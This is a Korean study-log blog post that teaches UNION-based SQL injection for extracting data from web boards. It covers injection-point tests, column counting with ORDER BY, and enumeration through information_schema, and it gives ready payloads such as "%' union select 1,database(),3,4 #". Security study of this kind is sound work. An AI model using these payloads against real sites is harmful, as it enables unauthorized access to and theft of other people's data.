Archive for Dev. (junyup2)

์ง€์‹์„ ์ฑ„์›Œ๊ฐ€๋Š” ใ€Ž๊ฐœ๋ฐœ์ž/ํ™”์ดํŠธํ•ด์ปคใ€๋ฅผ ๋ชฉํ‘œ๋กœ ์ •๋ฆฌํ•˜๋Š” ๋ธ”๋กœ๊ทธ

๋ชจ์˜ ํ•ดํ‚น ์Šคํ„ฐ๋””/๋ชจ์˜ ํ•ดํ‚น - ๊ธฐ๋ก์ผ์ง€

[๊ธฐ๋ก์ผ์ง€] ๐Ÿ“š 06์ฃผ์ฐจ (๐Ÿ’‰SQL Injection - Data Extraction)

Gearvirus(junyup2) 2023. 11. 30. 23:53

SQL Injection Data Extraction

SQL Injection์„ ์ด์šฉํ•œ ๋ฐ์ดํ„ฐ ์ถ”์ถœ(Data Extraction)


๋ฐ์ดํ„ฐ ์ถ”์ถœ(Data Extraction)

 

๋ฐ์ดํ„ฐ ์ถ”์ถœ์„ ์œ„ํ•œ ์‚ฌ์ „ํ™•์ธ

SQL ์ธ์ ์…˜์ด ์ผ์–ด๋‚˜๋Š” ๊ณณ

1. DB ๋ฐ์ดํ„ฐ๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ณณ์ธ๊ฐ€?
2. ๊ทธ ๋ฐ์ดํ„ฐ๊ฐ€ ํ™”๋ฉด์— ๋‚˜์˜ค๋Š”๊ฐ€? ์•ˆ๋‚˜์˜ค๋Š”๊ฐ€?
(DB์— ์žˆ๋Š” ๋ฐ์ดํ„ฐ๊ฐ€ ์›น ํŽ˜์ด์ง€์—(ํ™”๋ฉด์—) ๋‚˜์˜ค๋Š” ๊ฒฝ์šฐ์™€ ๋‚˜์˜ค์ง€ ์•Š๋Š” ๊ฒฝ์šฐ๊ฐ€ ์žˆ๋‹ค.)
> ์›นํŽ˜์ด์ง€์— ๋ฐ์ดํ„ฐ๊ฐ€ ๋‚˜์˜ค๋Š” ๊ฒฝ์šฐ
  ex) ๊ฒŒ์‹œํŒ
> ๋‚˜์˜ค์ง€ ์•Š๋Š” ๊ฒฝ์šฐ
  ex) ๋กœ๊ทธ์ธ ๊ธฐ๋Šฅ, ์•„์ด๋”” ์ค‘๋ณต ์ฒดํฌ
(๋‚ด์šฉ์ด ๋‚˜์˜ค๋Š” ๊ฒƒ์ด ์•„๋‹ˆ๊ณ  ์žˆ๋‹ค or ์—†๋‹ค, ์˜ณ๋‹ค or ํ‹€๋ฆฌ๋‹ค๋งŒ ์•Œ๋ ค์คŒ)

SQL Injection์€ DB ๋ฐ์ดํ„ฐ๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ณณ์—์„œ๋Š” ์ž ์žฌ์ ์œผ๋กœ ์‹คํ–‰ ๊ฐ€๋Šฅํ•˜๋‹ค.

๊ทธ๋ž˜์„œ ์šฐ๋ฆฌ๋Š” ์–ด๋–ป๊ฒŒ ํ•˜๋ฉด ์›ํ•˜๋Š” ๋ฐ์ดํ„ฐ๋ฅผ ์ถ”์ถœํ•  ์ˆ˜ ์žˆ์„์ง€์— ๋Œ€ํ•˜์—ฌ ์ƒ๊ฐํ•ด๋ด์•ผ ํ•œ๋‹ค.

์ž…๋ ฅ์— ๋Œ€ํ•œ ์š”์ฒญ์œผ๋กœ DB์—์„œ ์ •๋ณด๋ฅผ ๊บผ๋‚ด์™€์„œ ์–ด๋– ํ•œ ํ˜•ํƒœ๋กœ ๊ทธ ๊ฐ’์„ ํŽ˜์ด์ง€์— ๋ณด์—ฌ์ค€๋‹ค๋Š” ๊ฒƒ์€, ์ด๋ ‡๊ฒŒ ์ƒ๊ฐํ•ด ๋ณผ ์ˆ˜ ์žˆ๋‹ค.

๋ฐ์ดํ„ฐ ์ถ”์ถœ์˜ ๋ฐฉ๋ฒ•

์›น ํŽ˜์ด์ง€์— ๋ฐ์ดํ„ฐ๊ฐ€ ๋‚˜์˜ค๋Š” ๊ฒฝ์šฐ์—์„œ ๋ฐ์ดํ„ฐ๋ฅผ ์ถ”์ถœํ•˜๋Š” ๋ฐฉ๋ฒ•

์ด ์›น ์„œ๋ฒ„์—์„œ๋Š” DB๊ฐ€ ์žˆ๊ณ , ์ด ํŽ˜์ด์ง€๋ฅผ ๋งŒ๋“ค๊ธฐ ์œ„ํ•ด์„œ DB์—์„œ ๋ฐ์ดํ„ฐ๋ฅผ ๊ฐ€์ ธ์™€์„œ ์‘๋‹ตํ•ด ์คฌ๊ตฌ๋‚˜ !
์ด SQL์„ Injectionํ•œ๋‹ค๋ฉด?
๋‹ค๋ฅธ ์‚ฌ๋žŒ์˜ ์•„์ด๋””์™€ ๊ฐ™์€ ์šฐ๋ฆฌ๊ฐ€ ์–ป๊ณ ์ž ํ•˜๋Š” ์ •๋ณด(ํƒ€์ธ์˜ ๋ฐ์ดํ„ฐ)๋ฅผ ๊ฐ€์ ธ์˜ฌ ์ˆ˜ ์žˆ๊ฒ ๊ตฌ๋‚˜ !

SQL Injection์„ ํ†ตํ•ด Query๋ฅผ ์ฃผ์ž…ํ•˜์—ฌ ์˜ˆ๊ธฐ์น˜ ์•Š๋Š” ์ •๋ณด๊นŒ์ง€๋„ ํ™”๋ฉด์— ์ถœ๋ ฅ ์‹œํ‚ฌ ์ˆ˜ ์žˆ๋‹ค๋Š” ๊ฒƒ์ด๋‹ค.

๋งŒ์•ฝ!? ๊ฒŒ์‹œํŒ์—์„œ! SQLi ์ทจ์•ฝ์ ์„ ์ฐพ์•˜๋‹ค๋ฉด?

SELECT * FROM board WHERE idx= '___' or '1'='1'

์œ„์˜ Query๋ฅผ ํ†ตํ•ด์„œ ๋ด๋„ ํŽ˜์ด์ง€์— ๋‚˜์˜ค๋Š” ๋ฐ์ดํ„ฐ๋Š” ๊ธ€์„ ์ „์ฒด ๊ฐ€์ ธ์˜จ ๊ฒƒ์ผ ๋ฟ board ๊ฒŒ์‹œํŒ์—์„œ ๋ฒ—์–ด๋‚˜์„œ ๋‹ค๋ฅธ ํ…Œ์ด๋ธ”์˜ ์ •๋ณด๋ฅผ ๊ฐ€์ ธ์˜ฌ ์ˆ˜๋Š” ์—†๋‹ค.

ํ•˜์ง€๋งŒ ์šฐ๋ฆฌ๊ฐ€ ์•Œ๊ณ  ์‹ถ์€๊ฒƒ์€ ๊ฒŒ์‹œํŒ์˜ ์ •๋ณด๊ฐ€ ์•„๋‹Œ ๋‹ค๋ฅธ ๋ฐ์ดํ„ฐ๋“ค์ด๊ณ , ๊ทธ ๋ฐ์ดํ„ฐ๋“ค์„ ๋‹ค๋ฅธ ํ…Œ์ด๋ธ”์— ์กด์žฌํ•œ๋‹ค.

๊ทธ๋ ‡๋‹ค๋ฉด ๋‹ค๋ฅธ ํ…Œ์ด๋ธ”์„ ์กฐํšŒํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š” ์–ด๋–ป๊ฒŒ ํ•ด์•ผํ• ๊นŒ?

์ด๋•Œ ํ•„์š”ํ•œ ๊ฒƒ์ด 'UNION'์ด๋‹ค.

UNION์„ ์‚ฌ์šฉํ•˜๋ฉด SELECT๋ฌธ์„ ํ•œ๋ฒˆ ๋” ์“ธ ์ˆ˜ ์žˆ๊ฒŒ ๋œ๋‹ค. ์ด๋ฅผ ์ด์šฉํ•˜๋ฉด ๋œ๋‹ค.


UNION์ด๋ž€?

UNION์€ ๋‘ ๊ฐœ์˜ SELECT ๋ฌธ์„ ์„œ๋กœ ์—ฐ๊ฒฐ์‹œ์ผœ์ฃผ๋Š” ์—ญํ• ์„ ํ•œ๋‹ค.

SELECT COL_NAME FROM TABLE UNION SELECT COL_NAME FROM TABLE

์œ„์™€ ๊ฐ™์ด ์•ž ๋’ค์˜ SELECT ๋ฌธ์„ ํ•ฉ์ณ์ฃผ๋Š” ๊ฒƒ์ด๋‹ค.

๊ทธ๋ ‡๋‹ค๋ฉด ์ €๊ฒƒ์ด ๋‹ค๋ฅธ ํ…Œ์ด๋ธ”์„ ์กฐํšŒํ•˜๋Š” ๊ฒƒ๊ณผ ๋ฌด์Šจ ์ƒ๊ด€์ด ์žˆ์„๊นŒ?

๊ฒŒ์‹œํŒ์—์„œ๋Š” ์ด๋ฏธ ๊ธ€์„ ์กฐํšŒํ•˜๊ธฐ ์œ„ํ•œ SQL ๊ตฌ๋ฌธ์ด ์กด์žฌํ•œ๋‹ค.

์•„๋งˆ๋„ ์•„๋ž˜์™€ ๊ฐ™์„ ๊ฒƒ์ด๋‹ค.

SELECT * FROM board WHERE idx= '___'

๊ทธ๋ ‡๊ธฐ์— ์œ„์—์„œ SELECT๋ฌธ์„ ์—ฐ๊ฒฐํ•˜๋“ฏ์ด ์ž…๋ ฅ๊ฐ’์— SELECT๋ฌธ์„ ์‚ฝ์ž…ํ•œ๋‹ค๋ฉด?

๋‘๊ฐœ์˜ SELECT๋ฌธ์ด ์‹คํ–‰๋˜๊ฒŒ ๋˜๊ณ , ์šฐ๋ฆฌ๊ฐ€ ์ž…๋ ฅํ•œ ๋’ค์˜ SELECT๋ฌธ์— ์˜ํ•ด ์šฐ๋ฆฌ๊ฐ€ ์›ํ•˜๋Š” ๋ฐ์ดํ„ฐ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋œ๋‹ค๋Š” ๊ฒƒ์ด๋‹ค.

UNION ์‚ฌ์šฉ์„ ์œ„ํ•œ ์‚ฌ์ „ ํ™•์ธ

UNION์„ ์‚ฌ์šฉํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š” ์œ ์˜ํ•  ์ ์ด ์žˆ๋‹ค.
์„ ํ–‰๋˜๋Š” SELECT๋ฌธ์˜ ์š”์ฒญ ์ปฌ๋Ÿผ์˜ ๊ฐœ์ˆ˜๋ฅผ ์•Œ์•„์•ผํ•œ๋‹ค๋Š” ๊ฒƒ์ด๋‹ค.
๊ทธ ์ด์œ ๋Š” UNION์„ ์‚ฌ์šฉํ•  ๋•Œ์— UNION ์•ž๋’ค์˜ SELECT๋ฌธ์˜ (select ~~~) union (select ~~~) ์ปฌ๋Ÿผ ๊ฐœ์ˆ˜๊ฐ€ ์ผ์น˜ํ•ด์•ผํ•˜๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค.
(union์ด๋ผ๋Š”๊ฑด select๋ฅผ 2๋ฒˆ ์“ธ ์ˆ˜ ์žˆ๋Š”๊ฑด๋ฐ... ๋‘ select์˜ ์ปฌ๋Ÿผ์˜ ๊ฐœ์ˆ˜๋Š” ๊ฐ™์•„์•ผํ•œ๋‹ค.)

๊ทธ๋Ÿฌ๋ฉด ์•ž๋’ค์˜ ์ปฌ๋Ÿผ(COLUMN)์˜ ๊ฐœ์ˆ˜๋งŒ ์ผ์น˜ํ•˜๋ฉด ๋˜๋‹ˆ๊นŒ ์•ž์˜ SELECT๋ฌธ์„ ๊ฑด๋“œ๋ฆด ์ˆ˜ ์žˆ๋Š”๊ฐ€?
NOPE ! ์„ ํ–‰๋œ Query๋Š” ์ด๋ฏธ ์ •ํ•ด์ ธ์žˆ๊ธฐ ๋•Œ๋ฌธ์— ์กฐ์ž‘ํ•  ์ˆ˜ ์—†๋‹ค. ๋”ฐ๋ผ์„œ ์‚ฝ์ž…ํ•˜๋Š” SELECT๋ฌธ์—์„œ ์„ ํ–‰๋œ SELECT๋ฌธ์˜ COLUMN๊ฐœ์ˆ˜๋ฅผ ๋งž์ถฐ์ค„ ํ•„์š”๊ฐ€ ์žˆ๋‹ค.

๊ทธ๋Ÿฌ๋ฏ€๋กœ ์šฐ๋ฆฌ๋Š” ์„ ํ–‰๋œ SELECT ๋ฌธ์—์„œ ์š”์ฒญํ•˜๋Š” COLUMN์˜ ๊ฐœ์ˆ˜๋ฅผ ์•Œ์•„์•ผํ•œ๋‹ค๋Š” ๊ฒƒ์ด๋‹ค.

๊ทธ๋ ‡๋‹ค๋ฉด? ์–ด๋–ป๊ฒŒํ•˜๋ฉด COLUMN์˜ ๊ฐœ์ˆ˜๋ฅผ ์•Œ์•„๋‚ผ ์ˆ˜ ์žˆ์„๊นŒ?

ORDER BY ๋ฅผ ์ด์šฉํ•˜๋ฉด ๋œ๋‹ค.


ORDER BY๋ž€?

order by๋Š” select๋ฌธ์˜ ๊ฐ€์žฅ ๋’ค์— ์ ์–ด ์ฃผ๋Š” ๊ฒƒ์„ ์›์น™์œผ๋กœ ํ•˜๋ฉฐ ์ •๋ ฌ์˜ ์—ญํ• ์„ ์ˆ˜ํ–‰ํ•œ๋‹ค.

SELECT * FROM TABLE_NAME ORDER BY [COLUMN_NAME]

์œ„์™€ ๊ฐ™์ด (select ~~~) order by [column ์ด๋ฆ„]์˜ ํ˜•ํƒœ๋กœ ์ด์šฉํ•œ๋‹ค.

ORDER BY COLUMN_NAME DESC (default ASC)

๊ธฐ๋ณธ์ ์œผ๋กœ order by๋Š” ์˜ค๋ฆ„์ฐจ์ˆœ(default ๊ฐ’์ด ASC)์œผ๋กœ  ์ •๋ ฌ ์‹œํ‚จ๋‹ค.

๋‚ด๋ฆผ์ฐจ์ˆœ์œผ๋กœ ์ •๋ ฌํ•˜๋ ค๋ฉด ๋’ค์— DESC๋ฅผ ๋ถ™์—ฌ์ฃผ๋ฉด ๋œ๋‹ค.                                                     

SELECT * FROM TABLE_NAME ORDER BY [IDX]

ํ•ด๋‹น ์ปฌ๋Ÿผ(Column)์˜ ์ธ๋ฑ์Šค(idx) ๋ฒˆํ˜ธ๋กœ๋„ ์ •๋ ฌ์ด ๊ฐ€๋Šฅํ•˜๋‹ค.

(์ฒซ๋ฒˆ์งธ ์ปฌ๋Ÿผ์˜ ์ธ๋ฑ์Šค(index)๋Š” 0์ด ์•„๋‹Œ 1์ž„์— ์ฃผ์˜ !)

์ปฌ๋Ÿผ์˜ ๊ฐœ์ˆ˜๊ฐ€ ๋„˜์–ด๊ฐ€๋Š” order by๋ฅผ ํ•˜๋Š” ๊ฒฝ์šฐ ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ•œ๋‹ค.

  • unkown ์ปฌ๋Ÿผ (์˜ค๋ฅ˜๊ฐ€ ๋‚œ ๊ฒฝ์šฐ์˜ index -1์ด column์˜ ๊ฐœ์ˆ˜์ž„์„ ์•Œ ์ˆ˜ ์žˆ์Œ)

์šฐ๋ฆฌ๋Š” ์ด๋ฅผ ์ด์šฉํ•˜์—ฌ ์ปฌ๋Ÿผ์˜ ๊ฐœ์ˆ˜๋ฅผ ์•Œ ์ˆ˜ ์žˆ๋‹ค.             


UNION SQL Injection

UNION SQL Injection์€ ์ •ํ•ด์ง„ ์ˆœ์„œ๋Œ€๋กœ๋งŒ ๋”ฐ๋ผ๊ฐ€๋ฉด๋˜๋Š” Process๊ฐ€ ์กด์žฌํ•œ๋‹ค.

(๊ทธ์ € ๋ฌด์กฐ๊ฑด! ๋”ฐ๋ผ์ฃผ๊ธฐ๋งŒ ํ•˜๋ฉด๋˜๋Š” ๊ฒƒ์ด๋‹ค.)

UNION SQL Injection Process

1. SQL Injection ํฌ์ธํŠธ ์ฐพ๊ธฐ
2. (์ปฌ๋Ÿผ์„ ๋งž์ถฐ์ค˜์•ผํ•˜๋ฏ€๋กœ) column ์˜ ๊ฐœ์ˆ˜ ์ฐพ๊ธฐ.
3. ์ถœ๋ ฅ๋˜๋Š” column ์˜ ์œ„์น˜ ์ฐพ๊ธฐ.
4. DB ์ด๋ฆ„ ํ™•์ธ
5. Table ์ด๋ฆ„ ํ™•์ธ
6. Column ์ด๋ฆ„ ํ™•์ธ
7. Data ์ถ”์ถœ

 

[1]  SQL Injection Point ์ฐพ๊ธฐ

SQL Injection ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š”, SQL Injection์ด ๊ฐ€๋Šฅํ•œ์ง€๋ถ€ํ„ฐ ํ™•์ธํ•ด๋ด์•ผ ํ•œ๋‹ค.

์šฐ์„  ๋ณด๋‚ธ ๋ฐ์ดํ„ฐ๊ฐ€ ์„œ๋ฒ„์—์„œ ์–ด๋–ป๊ฒŒ ์ฒ˜๋ฆฌ๋˜๋Š”์ง€ ๋จธ๋ฆฌ์— ๊ทธ๋ ค๋ณธ๋‹ค.

1. SELECT๋ฅผ ์ผ์„ ๊ฒƒ์ด๊ณ , ๋‚ด๊ฐ€ ์ž…๋ ฅํ•œ ์กฐ๊ฑด์„ ๊ฐ€์ง€๊ณ  WHERE๋ฌธ์„ ์ผ๊ฒ ๊ตฌ๋‚˜.
2. ๊ทธ๋Ÿฌ๋ฉด ๋‚ด๊ฐ€ ๋„ฃ์€๊ฒŒ WHERE์˜ ์–ด๋Š ๋ถ€๋ถ„์— ๋“ค์–ด๊ฐ€๊ฒ ๊ตฌ๋‚˜.
3. ๋ฌธ์ž์—ด์ด๋ผ๋ฉด ' ' ์•ˆ์— ๋“ค์–ด๊ฐ€๊ฒ ๊ตฌ๋‚˜
4. ๋ถ€๋ถ„๋งŒ ์ž…๋ ฅํ•ด๋„ ๋‚˜์˜ค๋Š” ๊ฒƒ์„ ๋ณด๋‹ˆ like๋ฅผ ์ผ๊ฒ ๊ตฌ๋‚˜.
# ๋ถ€๋ถ„๋งŒ ์ž…๋ ฅํ•ด๋„ ์ธ์‹ํ•˜๋Š” ๊ฒฝ์šฐ LIKE
select * from TABLE_NAME where name like '%(%' and '1%'='1)%';
  • %' and '1%'='1 ๋ฅผ ์ž…๋ ฅํ•ด์„œ ๊ฒฐ๊ณผ ๊ฐ’์ด ๋‚˜์˜จ๋‹ค๋Š” ๊ฒƒ์€ SQL Injection์ด ๊ฐ€๋Šฅํ•˜๋‹ค๋Š” ๊ฒƒ์ด๋‹ค.

 

[2] Column ๊ฐœ์ˆ˜ ํŒŒ์•…ํ•˜๊ธฐ

UNION์„ ํ™œ์šฉํ•˜๊ธฐ ์œ„ํ•˜์—ฌ  ์ปฌ๋Ÿผ(Column)์˜ ๊ฐœ์ˆ˜๋ฅผ ํ™•์ธํ•ด์•ผ ํ•œ๋‹ค.

์•ž์—์„œ ๋ณด์•˜๋“ฏ์ด ORDER BY๋ฅผ ์ด์šฉํ•œ๋‹ค.

%' order by 1 # -> 1 ~ (n-1)์€ ๊ฐ€๋Šฅ n์€ ์•ˆ๋œ๋‹ค๋ฉด?

select * from TABLE_NAME where name like '%(%' and '1%'='1)%';

%' order by 1 # ๋ถ€ํ„ฐ ๋Œ€์ž…์„ ํ•ด๋ณธ๋‹ค.

  • %์•ž์—๋Š” ์•„๋ฌด๊ฒƒ๋„ ์ž…๋ ฅํ•˜์ง€ ์•Š์•„๋„ ๋จ
  • # ์„ ๋„ฃ์–ด์ฃผ๋Š” ์ด์œ ๋Š” ๋’ค์˜ %๋ฅผ ๋ฌด๋ ฅํ™” ์‹œํ‚ค๊ธฐ ์œ„ํ•จ

์ˆซ์ž๋ฅผ ๋Š˜๋ ค๋‚˜๊ฐ€๋‹ค๊ฐ€ ๊ฒฐ๊ณผ ๊ฐ’์ด ๋‚˜์˜ค์ง€ ์•Š๋Š” ๊ฒฝ์šฐ or ์—๋Ÿฌ๊ฐ€ ๋‚˜๋Š” ๊ฒฝ์šฐ

  • (ํ•ด๋‹น ์ธ๋ฑ์Šค -1 ์ด ์ปฌ๋Ÿผ์˜ ๊ฐœ์ˆ˜)

๋”ฐ๋ผ์„œ ํ•ด๋‹น SQL์˜ ๊ตฌ์กฐ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๋ฐ”๊ฟ”์„œ ์ƒ๊ฐํ•  ์ˆ˜ ์žˆ๋‹ค.

select * -> select (col1, col2, col3, col4)

 

[3] ์ถœ๋ ฅ๋˜๋Š” Column์˜ ์œ„์น˜ ์ฐพ๊ธฐ [๋งˆ๋ฒ•์˜ ์ฟผ๋ฆฌ~ !!]

ex) [2] ๋ฒˆ ๊ณผ์ •์—์„œ ์ปฌ๋Ÿผ(column)์˜ ๊ฐœ์ˆ˜๊ฐ€ 4๊ฐœ ์˜€๋‹ค๋ฉด?

%' union select 1,2,3,4 #

์œ„์˜ ์ฟผ๋ฆฌ๋ฅผ ์ž…๋ ฅํ–ˆ์„ ๋•Œ ํŽ˜์ด์ง€์— 2,3,4 ๋งŒ ๋‚˜์™”๋‹ค๋ฉด?

'1๋ฒˆ ์ปฌ๋Ÿผ์€ ์ถœ๋ ฅ๋˜์ง€ ์•Š์•˜๊ณ , (2, 3, 4)๋ฒˆ์งธ ์ปฌ๋Ÿผ๋งŒ ์ถœ๋ ฅ๋˜์—ˆ๊ตฌ๋‚˜' ๋ผ๋Š” ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

  • ์ถœ๋ ฅ๋œ column์˜ ์ˆœ์„œ๋ฅผ ์•Œ ์ˆ˜ ์žˆ๋‹ค.
  • ํ•ด๋‹น ๋ถ€๋ถ„์— ์ˆซ์ž๋ฅผ ๋„ฃ์€ ์ด์œ ๋Š” ๊ทธ์ € ๋ช‡๋ฒˆ์งธ ์ธ๋ฑ์Šค์˜ ์ปฌ๋Ÿผ์ด ์ถœ๋ ฅ๋˜๋Š”์ง€ ๋ณด๊ธฐ ์œ„ํ•จ์ด๋‹ค.
  • (๋‹ค๋ฅธ ๊ฐ’์„ ๋„ฃ์–ด๋„ ํ•ด๋‹น ์ธ๋ฑ์Šค์˜ ์œ„์น˜์— ํ•ด๋‹น ๊ฐ’์ด ์ž˜ ์ถœ๋ ฅ ๋จ)

๊ทธ๋ ‡๊ธฐ ๋•Œ๋ฌธ์— ์›ํ•˜๋Š” ๋ฐ์ดํ„ฐ๋ฅผ ์ถœ๋ ฅํ•  ๋•Œ 2, 3, 4 ์˜ ์œ„์น˜ ์ค‘์— ๊ณจ๋ผ์„œ ๋„ฃ์–ด์ค˜์•ผ ํ•œ๋‹ค.

  • ์ถœ๋ ฅ์ด ๋˜๊ณ ์žˆ๋Š” ๋ถ€๋ถ„์— ๋„ฃ์–ด์ค˜์•ผ ์›ํ•˜๋Š” ๋ฐ์ดํ„ฐ๋ฅผ ์ถœ๋ ฅํ•˜์—ฌ ๋ณผ ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ
  • (1๋ฒˆ์€ ๊ณจ๋ผ๋„ ์ถœ๋ ฅ์กฐ์ฐจ ๋˜์ง€ ์•Š๋Š”๋‹ค.)

๊ทธ๋Ÿผ ์ด์ œ ์–ด๋–ป๊ฒŒ ๊ฐ€์ ธ์™€์•ผ ํ• ์ง€๋Š” ์•Œ์•˜๋‹ค.

ํ•˜์ง€๋งŒ! ์–ด๋–ค DB๊ฐ€ ์žˆ๊ณ , ์–ด๋–ค TABLE์ด ์žˆ๊ณ , ์–ด๋–ค COLUMN์ด ์žˆ๋Š”์ง€ ๋ชจ๋ฅธ๋‹ค...!!

 

[4] DB ์ด๋ฆ„ ํ™•์ธํ•˜๊ธฐ

์šฐ์„  ์–ด๋–ค TABLE๊ณผ COLUMN์„ ์•Œ์•„๋‚ด๊ธฐ ์œ„ํ•ด์„œ๋Š” ์–ด๋–ค DB๊ฐ€ ์กด์žฌํ•˜๋Š”์ง€๋ถ€ํ„ฐ ์•Œ์•„์•ผํ•œ๋‹ค.

select database()

์ด๊ฒƒ์œผ๋กœ ์กด์žฌํ•˜๋Š” DB์ค‘์— ํ˜„์žฌ์˜ DB๋ฅผ ์กฐํšŒํ•  ์ˆ˜ ์žˆ๋‹ค.

์กด์žฌํ•˜๋Š” ์ „์ฒด DB๋ฅผ ์กฐํšŒํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์‚ฌ์šฉํ•ด์•ผํ•œ๋‹ค.

select schema_name from information_schema.schemaa

์œ„์™€ ๊ฐ™์€ ๋ฐฉ์‹์œผ๋กœ ์–ด๋–ค DB๋“ค์ด ์žˆ๋Š”์ง€ ํ™•์ธ์ด ๊ฐ€๋Šฅํ•˜๋‹ค.

% 'union select 1,database(),3,4 #

 

[5] Table ์ด๋ฆ„ ํ™•์ธํ•˜๊ธฐ

์–ด๋–ค DB๊ฐ€ ์žˆ๋Š”์ง€๋Š” ์•Œ์•„ ๋ƒˆ์œผ๋‹ˆ ์–ด๋–ค COLUMN์ด ์žˆ๋Š”์ง€ ํ™•์ธ์„ ํ•˜๊ธฐ์œ„ํ•ด์„œ ์–ด๋–ค TABLE์ด ์žˆ๋Š”์ง€๋ถ€ํ„ฐ ํ™•์ธํ•ด์•ผ ํ•œ๋‹ค.

DB๋ฅผ ์œ ์ง€ํ•˜๊ธฐ ์œ„ํ•ด์„œ ํ…Œ์ด๋ธ”๊ณผ, ์ปฌ๋Ÿผ์˜ ์ •๋ณด๋ฅผ ์ €์žฅํ•˜๊ณ  ์žˆ๋Š” DB๊ฐ€ ๋”ฐ๋กœ ์กด์žฌํ•œ๋‹ค.

  • DB : information_schema
    • DB์— ๋Œ€ํ•œ ์ •๋ณด๋ฅผ ์ €์žฅํ•˜๋Š” DB
    • meta data๋ฅผ ์ €์žฅํ•˜๊ณ  ์žˆ๋Š” Data Base
    • (๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์•ˆ์˜ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค)
  • ๊ทธ ์•ˆ์˜ ํ…Œ์ด๋ธ”(Table) : information_schema.tables
    • ์–ด๋–ค DB๊ฐ€ ์–ด๋–ค Table์„ ๊ฐ€์ง€๊ณ  ์žˆ๋Š”์ง€์˜ ์ •๋ณด
select table_name from information_schema.tables where table_schema = 'DB_NAME'
  • where table_schema = 'DB_NAME' ์กฐ๊ฑด์„ ์•ˆ์ฃผ๋ฉด ๋„ˆ๋ฌด ๋งŽ์€ ๋ฐ์ดํ„ฐ๊ฐ€ ๋‚˜์˜ค๊ฒŒ ๋œ๋‹ค.
  • ๊ทธ๋ ‡๊ฒŒ ๋˜๋ฉด ๋ญ๊ฐ€ ์ค‘์š”ํ•œ ํ…Œ์ด๋ธ”์ธ์ง€ ๋ชจ๋ฅด๊ฒŒ๋œ๋‹ค.
%' union select 1,table_name,3,4 from information_schema.tables where table_schema = 'DB_NAME' #

์œ„์™€ ๊ฐ™์€ ๋ฐฉ๋ฒ•์œผ๋กœ ์–ด๋–ค TABLE์ด ์กด์žฌํ•˜๋Š”์ง€ ํ™•์ธํ•ด ๋ณผ ์ˆ˜ ์žˆ๋‹ค.

ํ•˜์ง€๋งŒ ์œ„์˜ ๋ฐฉ๋ฒ•์€ ํ•ด๋‹น DB์˜ Table์„ ์ „๋ถ€ ๋ณด์—ฌ์ฃผ๊ฒŒ ๋˜๋Š”๋ฐ, ๋งŒ์•ฝ ์ตœ๋Œ€ ์ถœ๋ ฅ ๊ฐœ์ˆ˜๋ณด๋‹ค Table์˜ ๊ฐœ์ˆ˜๊ฐ€ ๋งŽ๋‹ค๋ฉด?

์ „๋ถ€ ์ถœ๋ ฅ๋˜์ง€ ๋ชปํ•œ๋‹ค. ๊ทธ๋ž˜์„œ ์šฐ์„  ํ…Œ์ด๋ธ”(Table)์ด ๋ช‡ ๊ฐœ ์กด์žฌํ•˜๋Š”์ง€๋ถ€ํ„ฐ ํ™•์ธํ•˜๋Š” ์Šต๊ด€์„ ๋“ค์ด๋„๋ก ํ•˜์ž!

๋ฐฉ๋ฒ•์€ ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

' union select count(TABLE_NAME) from information_schema.tables #

์œ„์˜ ๊ฒฐ๊ณผ๋กœ ๋‚˜์˜จ๊ฐ’์€ ํ…Œ์ด๋ธ”์˜ ๊ฐœ์ˆ˜์ด๋‹ค.

๋งŒ์•ฝ ํŠน์ • ์ธ๋ฑ์Šค์˜ ํ…Œ์ด๋ธ”์ด ์•Œ๊ณ  ์‹ถ๋‹ค๋ฉด?

' union select table_name from information_schema.tables limit 1,1#

limit๋ฅผ ์ด์šฉํ•˜์—ฌ ํ•˜๋‚˜์˜ ํ…Œ์ด๋ธ”๋งŒ์„ ๋ถˆ๋Ÿฌ์˜ฌ ์ˆ˜ ์žˆ๋‹ค.

  • limit (start index), number
  • ์•ž์˜ ์ˆซ์ž๋Š” (์‹œ์ž‘)์ธ๋ฑ์Šค์˜ ๋ฒˆํ˜ธ (0๋ถ€ํ„ฐ ์‹œ์ž‘)
  • ๋’ค์˜ ์ˆซ์ž๋Š” ํ•ด๋‹น ์ธ๋ฑ์Šค๋กœ๋ถ€ํ„ฐ ๋ช‡๊ฐœ์˜ ๋ฐ์ดํ„ฐ๋ฅผ ๊ฐ€์ ธ์˜ฌ ๊ฒƒ์ธ์ง€

์ฐธ๊ณ  ์‚ฌํ•ญ

  • (phpmyadmin์—์„œ ๋ณด๋ฉด ๊ธฐ๋ณธ์ ์œผ๋กœ ์ƒ์„ฑ๋˜๋Š” ํ…Œ์ด๋ธ”์ด 61๊ฐœ)
00 : CHARACTER_SETS
01 : COLLATIONS
02 : COLLATION_CHARACTER_SET_APPLICABILITY
03 : COLUMNS
04 : COLUMN_PRIVILEGES
05 : ENGINES
06 : EVENTS
07 : FILES
08 : GLOBAL_STATUS
09 : GLOBAL_VARIABLES
10 : KEY_COLUMN_USAGE
11 : OPTIMIZER_TRACE
12 : PARAMETERS
13 : PARTITIONS
14 : PLUGINS
15 : PROCESSLIST
16 : PROFILING
17 : REFERENTIAL_CONSTRAINTS
18 : ROUTINES
19 : SCHEMATA
20 : SCHEMA_PRIVILEGES
21 : SESSION_STATUS
22 : SESSION_VARIABLES
23 : STATISTICS
24 : TABLES
25 : TABLESPACES
26 : TABLE_CONSTRAINTS
27 : TABLE_PRIVILEGES
28 : TRIGGERS
29 : USER_PRIVILEGES
30 : VIEWS 31 : INNODB_LOCKS
32 : INNODB_TRX
33 : INNODB_SYS_DATAFILES
34 : INNODB_FT_CONFIG
35 : INNODB_SYS_VIRTUAL
